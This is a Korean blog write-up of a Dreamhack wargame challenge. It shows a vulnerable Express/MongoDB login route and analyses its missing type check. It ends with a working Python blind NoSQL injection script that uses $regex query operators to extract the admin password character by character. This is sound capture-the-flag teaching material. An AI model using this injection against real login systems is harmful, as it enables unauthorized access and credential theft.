>> 소스코드
const express = require('express');
const app = express();
const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
app.get('/', function(req, res) {
res.send('/login?uid=guest&upw=guest');
});
app.listen(8000, '0.0.0.0');
>> 소스코드 분석
filter 함수:
BAN의 금지어가 없으면 -> flag False 반환
login 함수:
GET request의 query를 통해 전달된 query parameter를 filter 함수로 검사하는데,
금지어가 포함되어있으면 -> filter 함수 repsonse 후 종료
query parameter에서 uid, upw 추출 - 이때 type을 검사하지 않아서, 만약 이것이 object type이라면 쿼리 연산자를 사용할 수 있어 취약점 발생.
uid와 upw가 올바르게 일치하는 문서를 찾음
에러 발생시 -> err 응답
실제로 있으면 -> uid 응답
결과 없으면 -> undefined
>> exploit
# 우선 이 소스코드는 MongoDB를 사용하며, 이 사이트에서 사용자가 알 수 있는 것은 단지 로그인에 성공했는지 여부 뿐이다.
따라서 한 글자씩 맞혀보는 Blind NoSQL injection을 수행해야 한다.
# Blind injection 코드 구성
우선, 비밀번호의 길이는 32자이며 타입은 알파벳/숫자이다.
그리고, 소스코드에 따르면 이 서버의 /login으로의 요청은 url을 통한 GET 메소드로 가능한데,
{HOST}/login에 query parameter로서 uid와 upw를 전달해야 하므로,
결국
{HOST}/login?uid=☆&upw=♡
에 GET 요청을 보내면 된다.
# 위 요청의 결과를 어떻게 매 자리, 모든 종류의 글자에 대해 확인하는가?
i = 0 ~ 31에 대해 반복하여 모든 자리에 대해 확인하고,
각 자리에 대해서는 모든 알파벳/숫자 종류에 대해 확인해본다.
서버 소스코드에 의하면, admin으로 로그인을 성공하면 response에 admin을 반환하므로,
response가 "admin"이면, 현재 글자를 확정하고 다음 글자를 맞추러 간다.
# 최종 exploit 코드
import requests, string
HOST = 'http://host3.dreamhack.games:15087'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'
flag = ''
for i in range(32):
for ch in ALPHANUMERIC:
response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
if response.text == SUCCESS:
flag += ch
break
print(f'FLAG: DH{{{flag}}}')
위처럼 작성하면,
맞춘 것은 {flag}를 통해 URL에 누적되므로, 한글자씩 맞춰갈 수 있다.
# 위 exploit 코드를 실행하면
'IT > Wargame' 카테고리의 다른 글
[Web Hacking] image-storage (0) | 2024.07.08 |
---|---|
[Web Hacking] command-injection-1 (2) | 2024.07.08 |
[Web hacking] simple_sqli (0) | 2024.07.07 |
[Web hacking] csrf-2 (0) | 2024.07.06 |
[Web Hacking] csrf-1 (2) | 2024.07.05 |